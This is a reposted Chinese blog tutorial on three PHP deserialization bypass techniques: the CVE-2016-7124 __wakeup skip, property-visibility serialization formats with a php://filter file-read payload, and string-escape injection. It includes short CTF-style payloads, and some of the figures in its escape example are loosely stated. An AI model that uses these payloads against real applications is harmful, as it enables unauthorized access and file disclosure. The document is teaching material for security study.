文章总结: 文档深入解析PHP反序列化漏洞的三种绕过技巧:一是CVE-2016-7124中修改属性数量绕过__wakeup方法;二是利用PHP版本对public、protected等属性序列化格式的差异;三是字符逃逸,利用过滤替换导致的长度变化吞噬结构实现注入。文中提供了具体Payload与CTF实战案例,具有较强的技术指导价值。 综合评分: 90 文章分类: WEB安全,漏洞分析,CTF,实战经验
第77天-Web攻防秘籍:深入解析PHP反序列化三大绕过姿势
原创
Сяо Яо Сяо Яо
AlphaNet
2026年3月10日 09:49 韩国
嘿,未来的安全大神们!👋 你是否在PHP反序列化的学习道路上,曾被 __wakeup 魔术方法拦住去路?或者对不同PHP版本间那微妙的序列化差异感到困惑?又或者,听说过字符串长度变化还能玩出“逃逸”花样?
别担心,你不是一个人!这些正是PHP反序列化漏洞利用中的经典“拦路虎”。今天,就让我们一起化身“拆弹专家”,彻底搞懂这些绕过技巧,让你的Web攻防技能树再添新枝!准备好了吗?Let’s Go! 🚀
🧐 是什么:PHP反序列化绕过的核心挑战
在深入学习之前,我们先快速回顾一下。PHP反序列化漏洞,简单说就是当程序 unserialize() 一个用户可控的字符串时,如果这个字符串被恶意构造,就可能触发非预期的代码执行或逻辑绕过。
而我们今天的主题——“绕过”,主要针对以下三种常见的防御或特殊场景:
-
__wakeup魔术方法 -
PHP版本差异
-
字符过滤与替换
💥 三大绕过技巧实战解析
1️⃣ __wakeup 的“沉睡”之道 (CVE-2016-7124)
漏洞影响版本:
PHP 5 < 5.6.25
PHP 7 < 7.0.10
核心:
当序列化字符串声明的属性数量
大于对象真实属性数量
PHP会跳过 __wakeup()。
Payload
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
2️⃣ PHP版本差异绕过
属性序列化格式:
public "属性名"
protected "%00*%00属性名"
private "%00类名%00属性名"
%00 是 NULL 字节。
Payload 示例
class User {
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
3️⃣ 字符串逃逸
过滤示例:
' -> \'
字符数量:
1 -> 2
思路:
利用新增字符吞掉后面的序列化结构
CTF Payload
...";s:3:"msg";s:XX:"[62个会被替换的字符]";s:5:"token";s:5:"admin";}"...
处理后:
62 -> 124
新增:
62 个字符
覆盖:
";s:5:"token";s:5:"guest";}
最终:
token = admin
📚 总结
1 __wakeup 绕过
2 PHP版本差异
3 字符串序列化逃逸
🤔 思考题
admin -> user
如果过滤规则是这样,你能设计一个 字符减少逃逸 Payload 吗?
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:AlphaNet Сяо Яо Сяо Яо《第77天-Web攻防秘籍:深入解析PHP反序列化三大绕过姿势》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论